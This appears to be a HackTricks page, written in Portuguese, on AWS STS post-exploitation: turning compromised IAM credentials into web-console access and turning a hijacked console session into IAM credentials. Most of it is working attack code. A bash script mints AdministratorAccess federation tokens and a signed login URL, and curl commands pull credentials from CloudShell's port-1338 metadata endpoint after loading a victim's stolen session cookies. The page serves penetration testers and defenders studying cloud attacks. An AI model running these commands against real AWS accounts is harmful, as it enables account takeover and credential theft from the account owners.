AWS - STS Post Exploitation

Support HackTricks

STS

Para mais informações:

De Credenciais IAM para Console

Se você conseguiu obter algumas credenciais IAM, pode estar interessado em acessar o console da web usando as seguintes ferramentas. Observe que o usuário/role deve ter a permissão sts:GetFederationToken.

Script personalizado

O seguinte script usará o perfil padrão e uma localização padrão da AWS (não gov e não cn) para lhe dar uma URL assinada que você pode usar para fazer login no console da web:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)



# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

Você pode gerar um link para o console da web com https://github.com/NetSPI/aws_consoler.

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

Certifique-se de que o usuário IAM tenha permissão sts:GetFederationToken, ou forneça um papel para assumir.

aws-vault

aws-vault é uma ferramenta para armazenar e acessar com segurança as credenciais da AWS em um ambiente de desenvolvimento.

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

Você também pode usar aws-vault para obter uma sessão de console do navegador

Do Console para Credenciais IAM

Descoberto originalmente neste post, Se você conseguir comprometer algum acesso a um console web (talvez você tenha roubado cookies e não conseguiu acessar a pasta .aws), você pode obter algumas credenciais de token IAM para esse usuário através do CloudShell.

CloudShell expõe credenciais IAM através de um endpoint não documentado na porta 1338. Após carregar os cookies de sessão da vítima no seu navegador, você pode navegar até o CloudShell e emitir os seguintes comandos para obter credenciais IAM.

TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
Suporte ao HackTricks

Last updated